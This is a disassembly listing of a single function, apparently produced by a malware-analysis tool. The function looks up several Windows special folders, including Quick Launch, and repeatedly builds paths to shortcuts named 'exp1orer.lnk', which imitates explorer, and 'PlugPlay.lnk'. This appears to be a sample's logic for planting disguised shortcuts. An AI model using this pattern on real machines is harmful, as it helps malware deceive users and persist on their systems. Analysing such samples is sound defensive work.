Function at 0x4024f7
Capabilities:
Get common file path

Disassembly:
push 0
call sub.ole32.dll_CoInitialize
push 0
push 6
push 0x410474
push 0
call sub.SHELL32.dll_SHGetSpecialFolderPathA
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.exp1orer.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x404824
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x404525
call fcn.004028f2
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.PlugPlay.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x410274
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x410274
call fcn.004028f2
push 0
push 0
push 0x410474
push 0
call sub.SHELL32.dll_SHGetSpecialFolderPathA
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.exp1orer.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x404824
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x404525
call fcn.004028f2
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.PlugPlay.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x410274
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x410274
call fcn.004028f2
push 0
push 0x1a
push 0x410474
push 0
call sub.SHELL32.dll_SHGetSpecialFolderPathA
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push str.MicrosoftInternet_ExplorerQuick_Launch_
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.exp1orer.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x404824
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x404525
call fcn.004028f2
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push str.MicrosoftInternet_ExplorerQuick_Launch_
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.PlugPlay.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x410274
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x410274
call fcn.004028f2
push 0
push 5
push 0x410474
push 0
call sub.SHELL32.dll_SHGetSpecialFolderPathA
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.exp1orer.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x404824
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x404525
call fcn.004028f2
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.PlugPlay.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x410274
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x410274
call fcn.004028f2
push 0
push 2
push 0x410474
push 0
call sub.SHELL32.dll_SHGetSpecialFolderPathA
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.exp1orer.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x404824
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x404525
call fcn.004028f2
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.PlugPlay.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x410274
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x410274
call fcn.004028f2
push 0
push 0xb
push 0x410474
push 0
call sub.SHELL32.dll_SHGetSpecialFolderPathA
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.exp1orer.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x404824
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x404525
call fcn.004028f2
push 0x410474
push 0x410374
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push str.PlugPlay.lnk
push 0x410374
call sub.KERNEL32.DLL_lstrcatA
push 0x410274
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
push 0x410374
push 0x410274
call fcn.004028f2
push 0x3e8
call sub.KERNEL32.DLL_Sleep
call sub.ole32.dll_CoUninitialize
ret